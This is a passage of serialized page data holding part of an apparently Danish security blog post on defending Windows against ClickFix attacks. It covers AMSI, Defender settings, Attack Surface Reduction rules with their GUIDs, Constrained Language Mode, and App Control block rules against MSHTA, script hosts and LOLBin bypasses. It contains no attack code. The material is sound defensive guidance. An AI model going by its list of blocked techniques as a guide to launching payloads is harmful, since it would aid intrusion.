installer-detektion.",[836,901,902,905],{},[839,903,904],{},"Credential Guard:"," isolér NTLM-hashes, Kerberos-billetter og andet credential-materiale via virtualiseringsbaseret sikkerhed, så credential-tyveri forbliver svært, selv hvis en angriber opnår administratorrettigheder.",[526,907,908],{},"De kontroller reducerer eskaleringsmuligheder, beskytter credentials og håndhæver least privilege. Grænsen ved det: De begrænser, hvad der sker efter en kompromittering. De forhindrer ikke en infostealer i standardbrugerkonteksten i at læse cookies, session-tokens og app-credential-stores, som brugeren kan læse.",[526,910,911],{},"Så Microsoft Defender. Defender AV kan opdage andet trins payload, men kun med de rigtige indstillinger: slå Cloud Protection til, og sæt beskyttelsesniveauet til High eller High+. AMSI, Antimalware Scan Interface, lader applikationer overdrage indhold til Defender til kontrol under kørslen, efter at det er dekrypteret eller deobfuskeret i hukommelsen, men før det udføres. PowerShell bruger AMSI til at identificere skadekode, og AMSI kræver realtidsbeskyttelse og behavior monitoring.",[526,913,914],{},"Mindst fem Attack Surface Reduction-regler er relevante mod ClickFix:",[597,916,918],{"style":917},"margin: 0.5rem 0 2rem; overflow-x: auto",[919,920,834,922,834,941],"table",{"style":921},"width:100%; border-collapse: collapse; font-size: 0.85rem",[923,924,925,926,834],"thead",{},"\n    ",[927,928,929,930,929,935,929,938,925],"tr",{},"\n      ",[931,932,934],"th",{"style":933},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #dde1e4; text-align: left; font-weight: 600","Regel",[931,936,937],{"style":933},"GUID",[931,939,940],{"style":933},"ClickFix-relevans",[942,943,925,944,925,960,925,975,925,988,925,1001,834],"tbody",{},[927,945,929,946,929,951,929,957,925],{},[947,948,950],"td",{"style":949},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #f6f8fa","Blokér udførelse af potentielt slørede scripts",[947,952,954],{"style":953},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #f6f8fa; white-space: nowrap",[580,955,956],{},"5beb7efe-fd9a-4556-801d-275e5ffc04cc",[947,958,959],{"style":949},"Slørede eller kodede scripts i udførelses- og evasion-fasen",[927,961,929,962,929,966,929,972,925],{},[947,963,965],{"style":964},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #ffffff","Forhindr JavaScript eller VBScript i at starte hentet eksekverbart indhold",[947,967,969],{"style":968},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #ffffff; white-space: nowrap",[580,970,971],{},"d3e037e1-3eb8-44c8-a917-57927947596d",[947,973,974],{"style":964},"WSH, .js eller .vbs, der starter hentede payloads",[927,976,929,977,929,980,929,985,925],{},[947,978,979],{"style":949},"Tillad kun eksekverbare filer ud fra kriterier om prævalens, alder eller trusted list",[947,981,982],{"style":953},[580,983,984],{},"01443614-cd74-433a-b99e-2ecdc07bfc25",[947,986,987],{"style":949},"Nye eller sjældne afleverede executables",[927,989,929,990,929,993,929,998,925],{},[947,991,992],{"style":964},"Blokér eksekverbart indhold fra e-mailklient og webmail",[947,994,995],{"style":968},[580,996,997],{},"be9ba2d9-53ea-4cdc-84e5-9b1eeee46550",[947,999,1000],{"style":964},"ClickFix-varianter leveret via e-mail",[927,1002,929,1003,929,1006,929,1011,925],{},[947,1004,1005],{"style":949},"Forhindr alle Office-applikationer i at oprette underprocesser",[947,1007,1008],{"style":953},[580,1009,1010],{},"d4f940ab-401b-4efc-aadc-ad5f3c50688a",[947,1012,1013],{"style":949},"Office-lokkemad-varianter, der starter interpretere",[526,1015,1016],{},"Udrul først ASR i audit-tilstand, så som pilot, så i blokeringstilstand. Tamper Protection er den sidste linje: Den forhindrer angriberen i at slå jeres detektioner fra.",[526,1018,1019],{},"Ved PowerShell selv reducerer I risikoen fra legacy-interpretere. Identificér og fjern, hvor det er muligt, Windows PowerShell 2.0 og legacy-VBScript-komponenter, der mangler logging- og security-funktionerne i nyere versioner. Næste skridt er Constrained Language Mode (CLM), som begrænser de tilgængelige sprogelementer i PowerShell og blokerer mange scriptbaserede teknikker. CLM har kun robust sikkerhedsværdi, når en system application control-policy håndhæver den (App Control for Business); varianterne via miljøvariabel og AppLocker er svagere og kan omgås. Og mange systemer har brug for Full Language Mode for at fungere, for eksempel software deployment-tooling, hvorfor CLM ofte kun er mulig i udvalgte miljøer.",[526,1021,1022],{},"Dermed er vi ved App Control for Business (tidligere WDAC). App Control håndhæver en kodeintegritets-policy for, hvilke executables, scripts og drivere der må køre. Den strategiske holdning er default deny plus Microsofts anbefalede Block Rules, den kendte LOLBin- og bypass-blokeringsliste. App Control er også den korrekte enforcement-vej for PowerShell-CLM. Script enforcement blokerer MSHTA- og MSXML-scripthosts, tvinger PowerShell ind i CLM og blokerer ikke tilladt brug af Windows Script Host. Et par adfærdsfakta er vigtige:",[831,1024,834,1025,834,1028,834,1031],{"style":833},[836,1026,1027],{},"Base policies, der stoler på Windows, blokerer ikke automatisk betroede LOLBins. I skal merge Microsofts anbefalede Block Rules ind for at lukke de kendte bypasses.",[836,1029,1030],{},"App Control forhindrer ikke signeret powershell.exe eller cmd.exe i at starte. Den begrænser, hvad de må gøre (CLM, ingen usigneret eller ikke tilladt payload), og styrer ikke indholdet af cmd.exe, .bat eller .cmd. Derfor lægges den i lag med ASR og launch-hærdning, ikke i anvendelse alene.",[836,1032,1033],{},"Audit-tilstanden er ikke neutral: Script enforcement blokerer også i audit udførelsen af MSHTA og MSXML og kan ændre PowerShell-CLM-adfærden. Derfor skal App Control i audit fra den første udrulning være begrænset til pilot eller ring, aldrig hele flåden.",[526,1035,1036],{},"App Control er den enkeltkontrol med den højeste confidence mod interpreter-, LOLBin- og payload-udførelsesfaserne og håndhæver robust CLM. Den bærer samtidig den højeste deployment-kompleksitet og den højeste rollback-risiko, for en fejlkonfiguration blokerer udførelsen. Indfør den via kontrollerede pilot-ringe.",[559,1038,1040],{"id":1039},"hvor-vi-kommer-ind-i-billedet","Hvor vi kommer ind i billedet",[526,1042,565],{},[526,1044,1045,1046,811],{},"ClickFix er hurtigt, og Microsofts indbyggede detektioner dækker det meste, men ikke alt. For vores CSOC-kunder udvider vi løbende dækningen der, hvor der dukker huller op: udførelse via Windows Terminal, RAT-drevne supportsvindelnumre og post-compromise-adfærd. Vil I vide, hvor jeres miljø står, så ",[1047,1048,1049],"a",{"href":276},"kontakt os",[1051,1052,1053],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":530,"searchDepth":531,"depth":531,"links":1055},[1056,1057,1058,1059,1060,1061,1062,1063,1064],{"id":561,"depth":531,"text":562},{"id":643,"depth":531,"text":644},{"id":655,"depth":531,"text":656},{"id":678,"depth":531,"text":679},{"id":790,"depth":531,"text":791},{"id":820,"depth":531,"text":821},{"id":857,"depth":531,"text":858},{"id":873,"depth":531,"text":874},{"id":1039,"depth":531,"text":1040},"post",{"lang":1067,"seoTitle":1068,"titleClass":1069,"date":1070,"categories":1071,"blogtitlepic":1073,"socialimg":1074,"customExcerpt":1075,"keywords":1076,"asideNav":1077,"published":325},"da","Opdag og forhindr ClickFix-angreb: Win+R-paste-tricket","h2-font-size","2026-09-21",[1072],"Security","head-clickfix.jpg","/blog/heads/head-clickfix.jpg","ClickFix gør brugere til deres egen angriber: et falsk CAPTCHA, en copy-paste, og skadekoden kører i hukommelsen, uden at noget lander på disken. Hvordan Microsoft Defender opdager angrebet, hvor detektionen når sine grænser, og hvordan I lukker hullet med et RunMRU-hunt og fire beskyttelseslag.","ClickFix, ClickFix-angreb, ClickFix-detektion, forhindre ClickFix, falsk CAPTCHA, Win+R-angreb, RunMRU KQL, Microsoft Defender, Attack Surface Reduction, ASR-regler, App Control for Business, WDAC, Constrained Language Mode, Network Protection, AMSI, Endpoint Privilege Management, infostealer, LOLBin, PowerShell-hærdning",{"menuItems":1078},[1079,1082,1085,1088,1091,1094,1097,1100,1103],{"href":1080,"text":1081},"#clickfix-angrebskæden","Angrebskæden",{"href":1083,"text":1084},"#hvad-microsoft-defender-opdager","Hvad Defender opdager",{"href":1086,"text":1087},"#hvor-den-indbyggede-detektion-når-sine-grænser","Hvor det halter",{"href":1089,"text":1090},"#luk-hullet-et-runmru-hunt","Luk hullet",{"href":1092,"text":1093},"#beskyttelseslag-1-blokér-leveringen","Lag 1: Levering",{"href":1095,"text":1096},"#beskyttelseslag-2-blokér-tricket","Lag 2: Tricket",{"href":1098,"text":1099},"#beskyttelseslag-3-blokér-handlingen","Lag 3: Handlingen",{"href":1101,"text":1102},"#beskyttelseslag-4-blokér-udførelsen","Lag 4: Udførelsen",{"href":1104,"text":1040},"#hvor-vi-kommer-ind-i-billedet","/posts/2026-09-21-clickfix-prevent-detect",{"title":553,"description":530},"posts/2026-09-21-clickfix-prevent-detect",[1109,1110,1111],"Defender","SOC","Endpoint Security","tA5Hy_nq9NfwsJZVwcN0YsaofkirWYlnDXEYNnvwHUQ",[],{"id":1115,"extension":1116,"meta":1117,"stem":8,"__hash__":1127},"authors_data/authors.json","json",{"Fritz Zurhorst":1118,"Nadine Klein":1123},{"display_name":555,"avatar":1119,"permalink":1120,"linkedin":1121,"imageOffsetTop":1122},"people/people-fritz-zurhorst.png","/authors/fritz-zurhorst","friedemann-z","72%",{"display_name":535,"avatar":1124,"permalink":1125,"twitter":1126,"linkedin":548,"imageOffsetTop":1122},"people/people-nadine-kern.png","/authors/nadine-kern","nadineausRT","1csawlkJxRljy93GTOnXEkwLqAv9Lcj-apxRvoodAOY",1791383984192]